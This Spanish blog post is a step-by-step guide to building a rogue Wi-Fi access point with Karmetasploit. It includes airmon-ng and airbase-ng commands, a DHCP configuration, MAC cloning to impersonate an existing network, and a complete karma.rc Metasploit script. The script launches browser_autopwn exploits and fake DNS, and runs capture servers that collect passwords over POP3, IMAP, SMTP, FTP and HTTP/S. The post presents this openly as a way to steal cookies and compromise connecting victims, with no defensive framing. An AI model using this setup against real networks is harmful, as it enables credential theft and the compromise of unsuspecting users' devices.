Quantcast
Channel: vidasConcurrentes » sshMan
Viewing all articles
Browse latest Browse all 10

Rogue AP con karmetasploit

$
0
0

Hoy vamos a ver como se puede crear un punto de acceso falso, con la finalidad de hacer que la gente se conecte al punto de acceso. Se puede realizar desde un robo de cookies hasta preparar una batería de exploits para que en el momento que alguien se conecte al rogue AP se lance el exploit si la victima es vulnerable.

Realmente este ataque sería similar a vulnerar una red wireless y hacer un Man in the Middle en ella, pero en este caso es más sencillo ya que al hacer de AP absolutamente todo el tráfico pasará por nosotros.

Aquí no sacaremos la clave de la red, lo cual hace que el ataque sea mucho más sencillo de detectar, pero realmente la idea sería copiar la ESSID, BSSID y la clave de la red.

Nuestro escenario se basa en un live cd de Backtrack 5 Gnome de 32 bits, el framework metasploit y herramientas como airmon-ng y dhcpcd. Empezamos!

Lo primero es saber cual es nuestra interfaz wifi con iwconfig:

root@root:~# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11bg  ESSID:"mired"
          Mode:Managed  Frequency:2.422 GHz  Access Point:
          Bit Rate=54 Mb/s   Tx-Power=20 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=46/70  Signal level=-64 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:1340   Missed beacon:0

Ahora ponemos la interfaz en modo monitor (o modo promicuo) con airmon-ng:

root@root:/# airmon-ng start wlan0

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
2684    dhclient3
2745    dhclient3
2976    wpa_supplicant
2991    dhclient
3010    dhclient
Process with PID 2745 (dhclient3) is running on interface wlan0
Process with PID 2976 (wpa_supplicant) is running on interface wlan0
Process with PID 3010 (dhclient) is running on interface wlan0

Interface       Chipset         Driver

wlan0           Atheros AR2425  ath5k - [phy0]
                                (monitor mode enabled on mon0)

Ahora tenemos que modificar el archivo /etc/dhcp3/dhcpd.conf (En mi caso dhcpcd no estaba instalado en Backtrack, lo cual solucionamos con un apt-get install dhcp3-server)

option domain-name-servers 10.0.0.1;

default-lease-time 60;
max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
  range 10.0.0.100 10.0.0.254;
  option routers 10.0.0.1;
  option domain-name-servers 10.0.0.1;
}

Ahora una vez configurados los dns hay que configurar la interfaz en modo promiscuo que nos proporcionó airmon-ng como AP con airbase-ng:

root@root~# airbase-ng -P -C 30 -e "WiFi" -v mon0
15:43:10  Created tap interface at0
15:43:10  Trying to set MTU on at0 to 1500
15:43:10  Trying to set MTU on mon0 to 1800
15:43:10  Access Point with BSSID XX:XX:XX:XX:XX:XX started.

Ahora, como paso opcional podemos cambiar la BSSID de la interfaz. Si queremos poner una aleatoria:

root@root~# ifconfig mon0 down && macchanger -r mon0 && ifconfig mon0 up

Sin embargo si queremos asignarle una BSSID en concreto, por ejemplo para hacer una red identica a otra:

root@root~# ifconfig mon0 down && macchanger -m XX:XX:XX:XX:XX:XX mon0 && ifconfig mon0 up

En este punto tendremos una interfaz cuyo nombre es at0, pues tenemos que levantarla, asignar una IP y una máscara de red:

root@root~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0

Ahora utilizamos el fichero dhcpd.conf para el dhcpd3, lo pasamos con -cf:

root@root~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

Saltará un error al arracar dhcp en la interfaz, pero porque no se puede crear el archivo PID. Aún asi funciona el dhcp en la interfaz.

Ahora, viene la parte de karma.rc que es un script que pone en escucha en varios protocolos como http, smtp, ftp además de cargar exploits autoejecutables en caso de que nuestra victima sea vulnerable a ellos.

load db_sqlite3
db_create /root/karma.db

use auxiliary/server/browser_autopwn

setg AUTOPWN_HOST 10.0.0.1
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads

set LHOST 10.0.0.1
set LPORT 45000
set SRVPORT 55550
set URIPATH /ads

run

use auxiliary/server/capture/pop3
set SRVPORT 110
set SSL false
run

use auxiliary/server/capture/pop3
set SRVPORT 995
set SSL true
run

use auxiliary/server/capture/ftp
run

use auxiliary/server/capture/imap
set SSL false
set SRVPORT 143
run

use auxiliary/server/capture/imap
set SSL true
set SRVPORT 993
run

use auxiliary/server/capture/smtp
set SSL false
set SRVPORT 25
run

use auxiliary/server/capture/smtp
set SSL true
set SRVPORT 465
run

use auxiliary/server/fakedns
unset TARGETHOST
set SRVPORT 5353
run

use auxiliary/server/fakedns
unset TARGETHOST
set SRVPORT 53
run

use auxiliary/server/capture/http
set SRVPORT 80
set SSL false
run

use auxiliary/server/capture/http
set SRVPORT 8080
set SSL false
run

use auxiliary/server/capture/http
set SRVPORT 443
set SSL true
run

use auxiliary/server/capture/http
set SRVPORT 8443
set SSL true
run

Guardamos el archivo y ya está todo listo, para hacer que funcione solo hay que lanzar metasploit indicandole la ruta al archivo:

root@root~# /pentest/exploits/framework3/msfconsole -r /root/karma.rc

Una vez está todo funcionando, solo tenemos que esperar a que alguien se conecte a nuestro rogue AP y abra el navegador de internet. Aquí podemos ver una pequeña muestra de lo que nos enseña metasploit a nosotros cuando alguien se conecta:

Resultados del rogue AP con Karma.rc y metasploit


Viewing all articles
Browse latest Browse all 10